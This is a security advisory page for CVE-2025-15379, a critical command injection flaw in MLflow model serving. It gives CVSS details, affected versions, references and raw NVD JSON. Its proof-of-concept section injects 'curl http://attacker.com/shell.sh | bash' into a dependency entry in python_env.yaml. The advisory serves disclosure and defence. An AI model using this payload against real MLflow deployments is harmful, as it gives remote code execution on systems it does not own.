Security Vulnerability Report
中文
CVE-2025-15379 CVSS 9.8 CRITICAL

CVE-2025-15379

Published: 2026-03-30 08:16:16
Last Modified: 2026-04-28 14:26:01

Description

A command injection vulnerability exists in MLflow's model serving container initialization code, specifically in the `_install_model_dependencies_to_env()` function. When deploying a model with `env_manager=LOCAL`, MLflow reads dependency specifications from the model artifact's `python_env.yaml` file and directly interpolates them into a shell command without sanitization. This allows an attacker to supply a malicious model artifact and achieve arbitrary command execution on systems that deploy the model. The vulnerability affects versions 3.8.0 and is fixed in version 3.8.2.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:lfprojects:mlflow:*:*:*:*:*:*:*:* - VULNERABLE
MLflow 3.8.0
MLflow 3.8.1
MLflow < 3.8.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# Proof of Concept for CVE-2025-15379 # Attacker creates a malicious model artifact # 1. Create a python_env.yaml file with a malicious payload malicious_yaml_content = """ name: mlflow-env channels: - conda-forge dependencies: - pip: # Injecting a shell command using semicolon - "requests; curl http://attacker.com/shell.sh | bash" """ # 2. Place this file in the MLflow model artifact directory: # /path/to/model/MLmodel # /path/to/model/python_env.yaml (the malicious one) # 3. When MLflow serves this model with env_manager="LOCAL": # mlflow models serve -m /path/to/model --env-manager LOCAL # # The vulnerability triggers in _install_model_dependencies_to_env(), # executing the injected command.

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-15379", "sourceIdentifier": "[email protected]", "published": "2026-03-30T08:16:15.667", "lastModified": "2026-04-28T14:26:00.520", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A command injection vulnerability exists in MLflow's model serving container initialization code, specifically in the `_install_model_dependencies_to_env()` function. When deploying a model with `env_manager=LOCAL`, MLflow reads dependency specifications from the model artifact's `python_env.yaml` file and directly interpolates them into a shell command without sanitization. This allows an attacker to supply a malicious model artifact and achieve arbitrary command execution on systems that deploy the model. The vulnerability affects versions 3.8.0 and is fixed in version 3.8.2."}, {"lang": "es", "value": "Existe una vulnerabilidad de inyección de comandos en el código de inicialización del contenedor de servicio de modelos de MLflow, específicamente en la función `_install_model_dependencies_to_env()`. Al desplegar un modelo con `env_manager=LOCAL`, MLflow lee las especificaciones de dependencia del archivo `python_env.yaml` del artefacto del modelo y las interpola directamente en un comando de shell sin sanitización. Esto permite a un atacante suministrar un artefacto de modelo malicioso y lograr la ejecución arbitraria de comandos en sistemas que despliegan el modelo. La vulnerabilidad afecta a las versiones 3.8.0 y está corregida en la versión 3.8.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}], "cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "baseScore": 10.0, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-77"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:lfprojects:mlflow:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.8.0", "versionEndIncluding": "3.8.1", "matchCriteriaId": "CB8C7729-F7F9-4179-B66D-4E76EFE4115D"}]}]}], "references": [{"url": "https://github.com/mlflow/mlflow/commit/361b6f620adf98385c6721e384fb5ef9a30bb05e", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://huntr.com/bounties/dc9c1c20-7879-4050-87df-4d095fe5ca75", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}